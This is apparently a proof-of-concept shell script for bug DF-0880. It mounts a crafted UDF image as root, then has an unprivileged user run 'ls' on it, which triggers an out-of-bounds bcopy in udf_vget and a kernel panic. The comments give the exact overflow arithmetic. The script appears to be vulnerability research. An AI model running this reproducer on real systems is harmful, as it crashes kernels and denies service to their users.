#!/bin/sh
# DF-0880 reproduce: mount the crafted UDF image (root) then ls (unpriv)
# -> udf_root() -> udf_vget() -> bcopy(bp->b_data, fentry, 65711) reads
# 65711 bytes from a 2048-byte buffer -> kernel page-fault panic.
#
# This script is meant to be run ON THE GUEST as root from poc/DF-0880/.
# It performs the privileged setup (vnconfig + mount_udf), makes the mount
# readable by the unprivileged user, then triggers the bug via `ls` as maxx.
set -u
cd "$(dirname "$0")"
IMG="$(pwd)/df0880.udf"

echo "== DF-0880 reproduce =="
kldload udf 2>/dev/null || true
echo ">> vnconfig $IMG"
vnconfig -c vn0 "$IMG" || { echo "vnconfig failed"; exit 1; }
mkdir -p /mnt
echo ">> mount_udf -o ro /dev/vn0 /mnt"
mount_udf -o ro /dev/vn0 /mnt || { echo "mount failed"; vnconfig -u vn0; exit 1; }
chmod 755 /mnt
echo ">> triggering udf_vget as unprivileged user (maxx) -- expect kernel panic"
# The ls resolves the mountpoint root -> udf_root -> udf_vget(root icb).
# udf_vget reads the root File Entry: RDSECTOR reads 2048 bytes, then computes
# size = 176 + l_ea(0) + l_ad(0xFFFF) = 65711 and bcopy reads 65711 bytes from
# the 2048-byte bp->b_data -> page-fault past the buffer -> panic.
# The kernel will page-fault; this ssh/foreground shell will be killed.
su maxx -c 'ls -la /mnt' 2>&1
echo "ls returned rc=$? (unexpected -- the kernel should have panicked)"